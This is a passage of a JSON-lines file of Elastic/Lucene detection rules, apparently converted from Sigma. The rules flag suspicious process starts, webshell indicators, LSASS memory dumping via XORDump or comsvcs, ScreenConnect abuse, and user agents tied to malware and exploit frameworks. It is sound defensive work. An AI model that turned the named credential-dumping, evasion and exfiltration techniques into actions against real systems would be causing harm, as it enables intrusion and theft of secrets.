Public-Facing Application", "reference": ""}]}, {"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1505", "name": "Server Software Component", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["FPT.EagleEye Team", "wagga"], "license": ""}
{"description": "Detects suspicious Splwow64.exe process without any command line parameters", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "4d2f6b5b-066a-8a4b-d949-ead9a1a29143", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Splwow64 Without Params", "query": "(process.executable:*\\\\splwow64.exe AND process.command_line:*splwow64.exe)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1202"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1202", "name": "Indirect Command Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious Spring framework exceptions that could indicate exploitation attempts", "enabled": false, "false_positives": ["Application bugs"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "e2f69c1e-6199-f7c8-a43c-f101da5984c5", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Spring Framework Exceptions", "query": "(*AccessDeniedException* OR *CsrfException* OR *InvalidCsrfTokenException* OR *MissingCsrfTokenException* OR *CookieTheftException* OR *InvalidCookieException* OR *RequestRejectedException*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Thomas Patzke"], "license": ""}
{"description": "Detects suspicious SQL query keywrods that are often used during recon, exfiltration or destructive activities. Such as dropping tables and selecting wildcard fields", "author": ["@juju4"], "enabled": false, "false_positives": ["Inventory and monitoring activity", "Vulnerability scanners", "Legitimate applications"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "a8f7ef09-111e-c02a-34a6-d6d5f03e3f45", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious SQL Query", "query": "((*drop*) OR (*truncate*) OR (*dump*) OR (*select \\*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Initial Access", "Privilege Escalation", "T1190", "T1505"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects suspicious SSH / SSHD error messages that indicate a fatal or suspicious error that could be caused by exploiting attempts", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "b5f88180-2af5-175b-a44a-04afb77b1614", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious OpenSSH Daemon Error", "query": "(*unexpected\\ internal\\ error* OR *unknown\\ or\\ unsupported\\ key\\ type* OR *invalid\\ certificate\\ signing\\ key* OR *invalid\\ elliptic\\ curve\\ value* OR *incorrect\\ signature* OR *error\\ in\\ libcrypto* OR *unexpected\\ bytes\\ remain\\ after\\ decoding* OR *fatal\\:\\ buffer_get_string\\:\\ bad\\ string* OR *Local\\:\\ crc32\\ compensation\\ attack* OR *bad\\ client\\ public\\ DH\\ value* OR *Corrupted\\ MAC\\ on\\ input*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious start of rundll32.exe with a parent process of Explorer.exe. Variant of Raspberry Robin, as first reported by Red Canary.", "author": ["CD_ROM_"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "7c64d15f-bffb-4939-b865-e6e711349b0d", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Rundll32 With Suspicious Parent Process", "query": "((process.executable.text:*\\\\rundll32.exe AND process.parent.executable.text:*\\\\explorer.exe) AND (NOT ((process.command_line.text:*\\ C\\:\\\\Windows\\\\System32\\\\*) OR (process.command_line.text:*\\ \\-localserver\\ 22d8c27b\\-47a1\\-48d1\\-ad08\\-7da7abd79617))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects suspicious start of rundll32.exe without any parameters as found in CobaltStrike beacon activity", "enabled": false, "false_positives": ["Possible but rare"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a904cc10-2238-8e71-77f1-9ce6ba3c3b79", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Rundll32 Without Any CommandLine Params", "query": "(process.command_line.text:*\\\\rundll32.exe AND (NOT ((process.parent.executable.text:*\\\\svchost.exe) OR (process.parent.executable.text:(*\\\\AppData\\\\Local\\\\* OR *\\\\Microsoft\\\\Edge\\\\*)))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1202"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1202", "name": "Indirect Command Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious starts of explorer.exe that use the /NOUACCHECK flag that allows to run all sub processes of that newly started explorer.exe without any UAC checks", "enabled": false, "false_positives": ["Domain Controller User Logon", "Unknown how many legitimate software products use that method"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "fe00901e-c8d4-2e40-f8ad-fb77fc4e8956", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Explorer NOUACCHECK Flag", "query": "((process.executable:*\\\\explorer.exe AND process.command_line:*\\/NOUACCHECK*) AND (NOT ((process.parent.command_line:\"C\\:\\\\Windows\\\\system32\\\\svchost.exe\\ \\-k\\ netsvcs\\ \\-p\\ \\-s\\ Schedule\" OR process.parent.executable:\"C\\:\\\\Windows\\\\System32\\\\svchost.exe\"))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious sub processes of web server processes", "author": ["Florian Roth", "Nasreddine Bencherchali (update)"], "enabled": false, "false_positives": ["Web applications that invoke Linux command line tools"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "2c374f9e-2408-650e-038d-4e166cce5040", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Linux Webshell Indicators", "query": "(((process.parent.executable.text:(*\\/httpd OR *\\/lighttpd OR *\\/nginx OR *\\/apache2 OR *\\/node OR *\\/caddy)) OR ((process.parent.command_line.text:*\\/bin\\/java* AND process.parent.command_line.text:*tomcat*)) OR ((process.parent.command_line.text:*\\/bin\\/java* AND process.parent.command_line.text:*websphere*))) AND process.executable.text:(*\\/whoami OR *\\/ifconfig OR *\\/ip OR *\\/bin\\/uname OR *\\/bin\\/cat OR *\\/bin\\/crontab OR *\\/hostname OR *\\/iptables OR *\\/netstat OR *\\/pwd OR *\\/route))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1505"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1505", "name": "Server Software Component", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects suspicious sub processes started by the ScreenConnect client service, which indicates the use of the so-called Backstage mode", "enabled": false, "false_positives": ["Case in which administrators are allowed to use ScreenConnect's Backstage mode"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "59ca57eb-88b6-ce8c-b18a-55ddc9622e9d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "ScreenConnect Backstage Mode Anomaly", "query": "(process.parent.executable.text:*ScreenConnect.ClientService.exe AND process.executable.text:(*\\\\cmd.exe OR *\\\\powershell.exe OR *\\\\pwsh.exe))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1219"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious sysprep process start with AppData folder as target (as used by Trojan Syndicasec in Thrip report by Symantec)", "enabled": false, "false_positives": ["False positives depend on scripts and administrative tools used in the monitored environment"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "793eae6a-224b-c568-7de7-2b0c6c94566f", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Sysprep on AppData Folder", "query": "(process.executable:*\\\\sysprep.exe AND process.command_line:*\\\\AppData\\\\*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious UltraVNC command line flag combination that indicate a auto reconnect upon execution, e.g. startup (as seen being used by Gamaredon threat group)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3a16fc84-fa1c-9cb2-0309-35a144828595", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious UltraVNC Execution", "query": "(process.command_line:*\\-autoreconnect\\ * AND process.command_line:*\\-connect\\ * AND process.command_line:*\\-id\\:*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Lateral Movement", "T1021"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1021", "name": "Remote Services", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Bhabesh Raj"], "license": ""}
{"description": "Detects suspicious usage of the ShellExec_RunDLL function to launch other commands as seen in the the raspberry-robin attack", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "943c2299-58e1-0c56-4327-531eaae91483", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Usage Of ShellExec_RunDLL", "query": "(process.command_line.text:*ShellExec_RunDLL* AND process.command_line.text:(*regsvr32* OR *msiexec* OR *\\\\Users\\\\Public\\\\* OR *odbcconf* OR *\\\\Desktop\\\\* OR *\\\\Temp\\\\* OR *Invoke\\-* OR *iex* OR *comspec*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects suspicious use of an .exe extension after a non-executable file extension like .pdf.exe, a set of spaces or underlines to cloak the executable file in spear phishing campaigns", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e3b5f9a1-4960-d372-8c0b-a23492c773b0", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Suspicious Double Extension", "query": "process.executable:(*.doc.exe OR *.docx.exe OR *.xls.exe OR *.xlsx.exe OR *.ppt.exe OR *.pptx.exe OR *.rtf.exe OR *.pdf.exe OR *.txt.exe OR *\\ \\ \\ \\ \\ \\ .exe OR *______.exe)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Initial Access", "T1566"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1566", "name": "Phishing", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth (rule)", "@blu3_team (idea)"], "license": ""}
{"description": "Detects suspicious use of 'calc.exe' with command line parameters or in a suspicious directory, which is likely caused by some PoC or detection evasion", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "40ab1e71-dc11-ca87-c95c-a8b3776f688c", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Calculator Usage", "query": "(process.command_line.text:*\\\\calc.exe\\ * OR (process.executable.text:*\\\\calc.exe AND (NOT (process.executable.text:(C\\:\\\\Windows\\\\System32\\\\* OR C\\:\\\\Windows\\\\SysWOW64\\\\* OR C\\:\\\\Windows\\\\WinSxS\\\\*)))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1036"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious use of PCHunter, a tool like Process Hacker to view and manipulate processes, kernel options and other low level stuff", "author": ["Florian Roth", "Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "dadfece0-ea0a-c13a-6b52-d4df80a22e31", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "PCHunter Usage", "query": "((process.executable.text:(*\\\\PCHunter64.exe OR *\\\\PCHunter32.exe)) OR (winlog.event_data.OriginalFileName:\"PCHunter.exe\") OR (winlog.event_data.Description:\"Epoolsoft Windows Information View Tools\") OR (winlog.event_data.Hashes:(*SHA1\\=5F1CBC3D99558307BC1250D084FA968521482025* OR *MD5\\=987B65CD9B9F4E9A1AFD8F8B48CF64A7* OR *SHA256\\=2B214BDDAAB130C274DE6204AF6DBA5AEEC7433DA99AA950022FA306421A6D32* OR *IMPHASH\\=444D210CEA1FF8112F256A4997EED7FF* OR *SHA1\\=3FB89787CB97D902780DA080545584D97FB1C2EB* OR *MD5\\=228DD0C2E6287547E26FFBD973A40F14* OR *SHA256\\=55F041BF4E78E9BFA6D4EE68BE40E496CE3A1353E1CA4306598589E19802522C* OR *IMPHASH\\=0479F44DF47CFA2EF1CCC4416A538663*)) OR (md5:(\"228dd0c2e6287547e26ffbd973a40f14\" OR \"987b65cd9b9f4e9a1afd8f8b48cf64a7\")) OR (sha1:(\"5f1cbc3d99558307bc1250d084fa968521482025\" OR \"3fb89787cb97d902780da080545584d97fb1c2eb\")) OR (sha256:(\"2b214bddaab130c274de6204af6dba5aeec7433da99aa950022fa306421a6d32\" OR \"55f041bf4e78e9bfa6d4ee68be40e496ce3a1353e1ca4306598589e19802522c\")) OR (winlog.event_data.Imphash:(\"444d210cea1ff8112f256a4997eed7ff\" OR \"0479f44df47cfa2ef1ccc4416a538663\")))", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects suspicious use of Process Hacker and its newer version named System Informer, a tool to view and manipulate processes, kernel options and other low level stuff", "author": ["Florian Roth"], "enabled": false, "false_positives": ["Sometimes used by developers or system administrators for debugging purposes"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "218d891d-2ae8-278b-3fb6-3dbb7c55323a", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Process Hacker / System Informer Usage", "query": "((process.executable.text:*\\\\ProcessHacker_*) OR (process.executable.text:(*\\\\SystemInformer.exe OR *\\\\ProcessHacker.exe)) OR (winlog.event_data.OriginalFileName:(\"ProcessHacker.exe\" OR \"Process Hacker\" OR \"SystemInformer.exe\")) OR (winlog.event_data.Description:(\"Process Hacker\" OR \"System Informer\")) OR (Product:\"Process Hacker\") OR (winlog.event_data.Hashes:(*MD5\\=68F9B52895F4D34E74112F3129B3B00D* OR *SHA1\\=C5E2018BF7C0F314FED4FD7FE7E69FA2E648359E* OR *SHA256\\=D4A0FE56316A2C45B9BA9AC1005363309A3EDC7ACF9E4DF64D326A0FF273E80F* OR *IMPHASH\\=04DE0AD9C37EB7BD52043D2ECAC958DF* OR *MD5\\=B365AF317AE730A67C936F21432B9C71* OR *SHA1\\=A0BDFAC3CE1880B32FF9B696458327CE352E3B1D* OR *SHA256\\=BD2C2CF0631D881ED382817AFCCE2B093F4E412FFB170A719E2762F250ABFEA4* OR *IMPHASH\\=3695333C60DEDECDCAFF1590409AA462*)) OR (md5:(\"68f9b52895f4d34e74112f3129b3b00d\" OR \"b365af317ae730a67c936f21432b9c71\")) OR (sha1:(\"c5e2018bf7c0f314fed4fd7fe7e69fa2e648359e\" OR \"a0bdfac3ce1880b32ff9b696458327ce352e3b1d\")) OR (sha256:(\"d4a0fe56316a2c45b9ba9ac1005363309a3edc7acf9e4df64d326a0ff273e80f\" OR \"bd2c2cf0631d881ed382817afcce2b093f4e412ffb170a719e2762f250abfea4\")) OR (winlog.event_data.Imphash:(\"04de0ad9c37eb7bd52043d2ecac958df\" OR \"3695333c60dedecdcaff1590409aa462\")))", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects suspicious use of the WSMAN provider without PowerShell.exe as the host application.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "be85314b-7311-48bd-4b9c-b23d376f6d29", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Non PowerShell WSMAN COM Provider", "query": "(ProviderName:\"WSMan\" AND (NOT (process.command_line.text:*powershell*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Lateral Movement", "T1021", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1021", "name": "Remote Services", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez (Cyb3rWard0g)", "OTR (Open Threat Research)"], "license": ""}
{"description": "Detects suspicious use of XORDump process memory dumping utility", "enabled": false, "false_positives": ["Another tool that uses the command line switches of XORdump"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "edc0c7e5-e2bc-cbf4-b57e-e06632fb070e", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "XORDump Use", "query": "(process.executable:*\\\\xordump.exe OR process.command_line:(*\\ \\-process\\ lsass.exe\\ * OR *\\ \\-m\\ comsvcs\\ * OR *\\ \\-m\\ dbghelp\\ * OR *\\ \\-m\\ dbgcore\\ *))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1003", "T1036"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious user agent string of APT40 Dropbox tool", "enabled": false, "false_positives": ["Old browsers"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "ef13e4cd-427c-cf7c-a1f1-549f1ebf2ad9", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "APT40 Dropbox Tool User Agent", "query": "(user_agent.original:\"Mozilla\\/5.0\\ \$Windows\\ NT\\ 6.1;\\ WOW64\$\\ AppleWebKit\\/537.36\\ \$KHTML,\\ like\\ Gecko\$\\ Chrome\\/36.0.1985.143\\ Safari\\/537.36\" AND (destination.domain:\"api.dropbox.com\" OR url.domain:\"api.dropbox.com\"))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1071", "T1567"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0010", "reference": "", "name": "Exfiltration"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1567", "name": "Exfiltration Over Web Service", "reference": ""}]}], "version": 1, "references": ["Internal research from Florian Roth"], "timestamp_override": "event.ingested", "author": ["Thomas Patzke"], "license": ""}
{"description": "Detects suspicious User Agent strings that end with an equal sign, which can be a sign of base64 encoded values used as User Agent string", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "2d696966-aaa3-1a1b-0a9e-27c432e4d3dd", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious User Agent", "query": "user_agent.original:(*\\= OR *TW96aWxsY)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1071"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious user agent strings used by crypto miners in proxy logs", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "bffd743a-d3a2-ad42-db2c-ef01865c62d0", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Crypto Miner User Agent", "query": "user_agent.original:(XMRig\\ * OR ccminer*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1071"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious user agent strings used by exploit / pentest frameworks like Metasploit in proxy logs", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "fa68229e-05e2-b2e8-c000-c2f7af2804c3", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Exploit Framework User Agent", "query": "user_agent.original:(Internet\\ Explorer\\ * OR \"Mozilla\\/4.0\\ \$compatible;\\ MSIE\\ 6.0;\\ Windows\\ NT\\ 5.1;\\ SV1;\\ InfoPath.2\$\" OR \"Mozilla\\/4.0\\ \$compatible;\\ Metasploit\\ RSPEC\$\" OR \"Mozilla\\/4.0\\ \$compatible;\\ MSIE\\ 6.1;\\ Windows\\ NT\$\" OR \"Mozilla\\/4.0\\ \$compatible;\\ MSIE\\ 6.0;\\ Windows\\ NT\\ 5.1\$\" OR \"Mozilla\\/4.0\\ \$compatible;\\ MSIE\\ 7.0;\\ Windows\\ NT\\ 6.0\$\" OR \"Mozilla\\/4.0\\ \$compatible;\\ MSIE\\ 8.0;\\ Windows\\ NT\\ 6.0;\\ Trident\\/4.0\$\" OR \"Mozilla\\/4.0\\ \$compatible;\\ MSIE\\ 7.0;\\ Windows\\ NT\\ 6.0;\\ Trident\\/4.0;\\ SIMBAR\\=\\{7DB0F6DE\\-8DE7\\-4841\\-9084\\-28FA914B0F2E\\};\\ SLCC1;\\ .N\" OR \"Mozilla\\/5.0\\ \\(compatible;\\ Googlebot\\/2.1;\\ \\+http\\:\\/\\/www.google.com\\/bot.html\$\" OR \"Mozilla\\/5.0\\ \$Windows;\\ U;\\ Windows\\ NT\\ 5.1;\\ en\\-US\$\\ AppleWebKit\\/525.13\\ \$KHTML,\\ like\\ Gecko\$\\ Chrome\\/4.0.221.6\\ Safari\\/525.13\" OR \"Mozilla\\/5.0\\ \$compatible;\\ MSIE\\ 9.0;\\ Windows\\ NT\\ 6.1;\\ WOW64;\\ Trident\\/5.0;\\ MAAU\$\" OR \"Mozilla\\/5.0\" OR \"Mozilla\\/4.0\\ \$compatible;\\ SPIPE\\/1.0\" OR \"Mozilla\\/5.0\\ \\(Windows\\ NT\\ 6.3;\\ rv\\:39.0\$\\ Gecko\\/20100101\\ Firefox\\/35.0\" OR \"Sametime\\ Community\\ Agent\" OR \"X\\-FORWARDED\\-FOR\" OR \"DotDotPwn\\ v2.1\" OR \"SIPDROID\" OR \"Mozilla\\/5.0\\ \$Windows\\ NT\\ 10.0;\\ Win32;\\ x32;\\ rv\\:60.0\$\" OR \"Mozilla\\/6.0\\ \$X11;\\ Linux\\ x86_64;\\ rv\\:24.0\$\\ Gecko\\/20140205\\ \\ \\ \\ \\ Firefox\\/27.0\\ Iceweasel\\/25.3.0\" OR *wordpress\\ hash\\ grabber* OR *exploit*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1071"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious user agent strings used by malware in proxy logs", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "1b515c79-aa63-f091-0832-7054f72771e9", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Malware User Agent", "query": "user_agent.original:(\"Mozilla\\/5.0\\ \$Windows\\ NT\\ 6.1;\\ WOW64;\\ rv\\:53.0\$\\ Gecko\\/20100101\\ Chrome\\ \\/53.0\" OR \"Mozilla\\/4.0\\ \$compatible;\\ MSIE\\ 8.0;\\ Windows\\ NT\\ 5.1\$\" OR \"Mozilla\\/4.0\\ \$compatible;\\ MSIE\\ 7.0;\\ Windows\\ NT\\ 5.1;\\ Trident\\/4.0\$\" OR \"Mozilla\\/4.0\\ \$compatible;\\ MSIE\\ 6.0;\\ Windows\\ NT\\ 5.0;\\ .NET\\ CLR\\ \\ 1.1.4322\$\" OR \"HttpBrowser\\/1.0\" OR *<|>* OR \"nsis_inetc\\ \$mozilla\$\" OR \"Wget\\/1.9\\+cvs\\-stable\\ \$Red\\ Hat\\ modified\$\" OR \"Mozilla\\/4.0\\ \$compatible;\\ MSIE\\ 8.0;\\ Windows\\ NT\\ 6.1;\\ Trident\\/4.0;\\ .NET\\ CLR\\ 1.1.4322\$\" OR *zeroup* OR Mozilla\\/5.0\\ \$Windows\\ NT\\ 5.1\\ ;\\ v.* OR *\\ adlib\\/* OR *\\ tiny OR *\\ BGroom\\ * OR *\\ changhuatong OR *\\ CholTBAgent OR \"Mozilla\\/5.0\\ WinInet\" OR \"RookIE\\/1.0\" OR \"M\" OR \"Mozilla\\/4.0\\ \\(compatible;\\ MSIE\\ 8.0;\\ Windows\\ NT\\ 5.1;\\ Trident\\/4.0\$\" OR \"Mozilla\\/4.0\\ \$compatible;MSIE\\ 7.0;Windows\\ NT\\ 6.0\$\" OR \"backdoorbot\" OR \"Mozilla\\/5.0\\ \$Windows;\\ U;\\ Windows\\ NT\\ 5.1;\\ en\\-US;\\ rv\\:1.9.2.3\$\\ Gecko\\/20100401\\ Firefox\\/3.6.1\\ \$.NET\\ CLR\\ 3.5.30731\$\" OR \"Opera\\/8.81\\ \$Windows\\ NT\\ 6.0;\\ U;\\ en\$\" OR \"Mozilla\\/5.0\\ \$Windows;\\ U;\\ Windows\\ NT\\ 5.1;\\ en\\-US;\\ rv\\:1.9.2.3\$\\ Gecko\\/20100401\\ Firefox\\/3.6.1\\ \$.NET\\ CLR\\ 3.5.30729\$\" OR \"Opera\" OR \"Mozilla\\/4.0\\ \$compatible;\\ MSIE\\ 5.0;\\ Windows\\ 98\$\" OR \"Mozilla\\/4.0\\ \$compatible;\\ MSIE\\ 5.01;\\ Windows\\ NT\\ 5.0\$\" OR \"MSIE\" OR *\$Charon;\\ Inferno\$ OR \"Mozilla\\/4.0\\ \$compatible;\\ MSIE\\ 8.0;\\ Windows\\ NT\\ 5.1;\\ Trident\\/5.0\$\" OR \"Mozilla\\/4.0\\ \$compatible;\\ MSIE\\ 